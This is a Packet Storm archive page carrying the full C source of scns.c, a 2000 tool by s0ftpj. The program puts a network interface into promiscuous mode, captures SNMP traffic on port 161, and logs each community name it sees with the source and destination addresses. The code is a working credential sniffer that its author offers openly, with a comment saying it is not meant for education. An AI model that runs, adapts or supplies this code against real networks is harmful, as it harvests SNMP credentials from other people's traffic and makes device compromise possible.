what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

scns.c

scns.c
Posted May 4, 2000
Authored by s0ftpj, Pigpen | Site s0ftpj.org

s0ftpj snmp community name sniffer.

SHA-256 | b045cba106f925e47765e9721dffa6e74e74231ba4043f0d3d73f43f57bab70c

scns.c

Change Mirror Download
/*
* s0ftpj snmp community name sniffer.
* nothing special.
*
* no(c) del0rean@s0ftpj.org
* this is NOT for educational purpouse! :)
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <net/if.h>
#include <netdb.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <fcntl.h>

#define IF "eth0" /* change thiz */
#define LOGFILE "logfile" /* change thiz */
#define IPHDR sizeof(struct iphdr)
#define UDPHDR sizeof(struct udphdr)


char *trip(char *bu);
void ifsec(char *intf, int s);

/* Welcome to a fantastic journey into an snmp packet */
/* We will search _only_ for the community name. */
/* let's go! :) */

char *trip(char *bu)
{
int i, ssize;
char *name;

i = 0;

/* Primitive ASN.1 Types Identifier in hex
* OCTET STRING 04

* General SNMP header
* SEQUENCE {
* version INTEGER {version-1(0)},
* community OCTET STRING,
* data ANY -- PDUs
* }
*/

while(bu[i++] != '\x04');
/* style ? uh! */
if(bu[i-1] == '\x04')
{
ssize = bu[i];
name = (char *)malloc(ssize);
strncpy(name, (char *)&bu[i+1], ssize);
return name;
}
return NULL;
}

void ifset(char *intf, int s) /* classic routines */
{
struct ifreq ifr;

strncpy(ifr.ifr_name, IF, strlen(IF)+1);
if((ioctl(s, SIOCGIFFLAGS, &ifr) == -1))
{
printf("couldn't obtain interface flags!\n");
exit(1);
}
ifr.ifr_flags |= IFF_PROMISC;
if (ioctl (s, SIOCSIFFLAGS, &ifr) == -1 )
{
printf("couldn't set promisc flag\n");
exit(2);
}
}


int main()
{
FILE *log;
int s, sl, brec, buflen;
struct sockaddr_in sinn;
struct iphdr *ip;
struct udphdr *udp;
char buf[255], *data;

printf("\n--[ www.s0ftpj.org ]----------------------|\n");
printf("--[ s0ftpj snmp community name sniffer ]--|\n");

signal(SIGTERM,exit); /* ciao ciao vecna!! */
s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);

ifset(IF, s); /* set promisc */

log = fopen(LOGFILE, "a");
if(log == NULL) printf("error opening logfile\n");

buflen = sizeof(buf);
sl = sizeof(sinn);

ip = (struct iphdr *)buf;
udp = (struct udphdr *)(buf+IPHDR);

while(1)
{
brec = recvfrom(s, (char *)&buf, buflen, 0, (struct sockaddr*)&sinn, &sl);
if((ntohs(udp->dest)) == 161)
{
if(data = (trip(&buf[IPHDR+UDPHDR])))
{
fprintf(log,"\nlook at that!\n");
fflush(log);
fprintf(log,"*source ----> [%s]\n", (char *)inet_ntoa(ip->saddr));
fflush(log);
fprintf(log,"*dest ------> [%s]\n", (char *)inet_ntoa(ip->daddr));
fflush(log);
fprintf(log,"*Name ------> [%s]\n", data);
fflush(log);
}
}
}
fclose(log);
exit(0);
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close